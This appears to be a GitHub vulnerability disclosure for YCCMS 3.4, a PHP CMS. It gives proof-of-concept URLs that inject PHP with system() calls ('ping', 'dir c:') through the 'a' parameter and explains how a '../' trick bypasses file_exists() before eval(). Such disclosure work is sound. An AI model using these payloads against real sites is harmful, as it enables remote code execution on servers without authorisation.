one9t-xc / expolit Goto Github PK

1.Vulnerability describes

Detection object:

(1) website name: YCCMS system V3.4

(2) website domain name: http://www.yccms.net/

(3) the download address: http://www.yccms.net/YCCMS_free.rar

(4) version: YCCMS system V3.4

Detection time:

April 28, 2020

Description of vulnerability:

YCCMS 3.4 /admin/index.php and /config/count.php Code execution vulnerability

2.POC and verification

Local construction environment:

POC:
http://localhost/admin/index.php?a=Factory();system(%22ping%208.8.8.8%22);phpinfo();//../

http://localhost/config/count.php?a=Factory();system("dir c:");phpinfo();//../

Code audit:
Vulnerable php file:Factory.class.php

The setAction () method first calls the getA () method to obtain the a parameter for jump check operation, then the file_exists () function checks whether the page file exists, and finally calls eval () to execute the PHP code.
The role of file_exists () is to check whether the file exists,The function allows some special characters in the path, and will return to the superior directory when it encounters /… /, you can use this strategy to jump out of the file_exists () function check.
Then we can get the payload:Factory();phpinfo();//../

/config/run.inc.php Instantiated this class,/admin/index.php and /config/count.php contain the file.
So we can use the payload to execute the code like the picture above.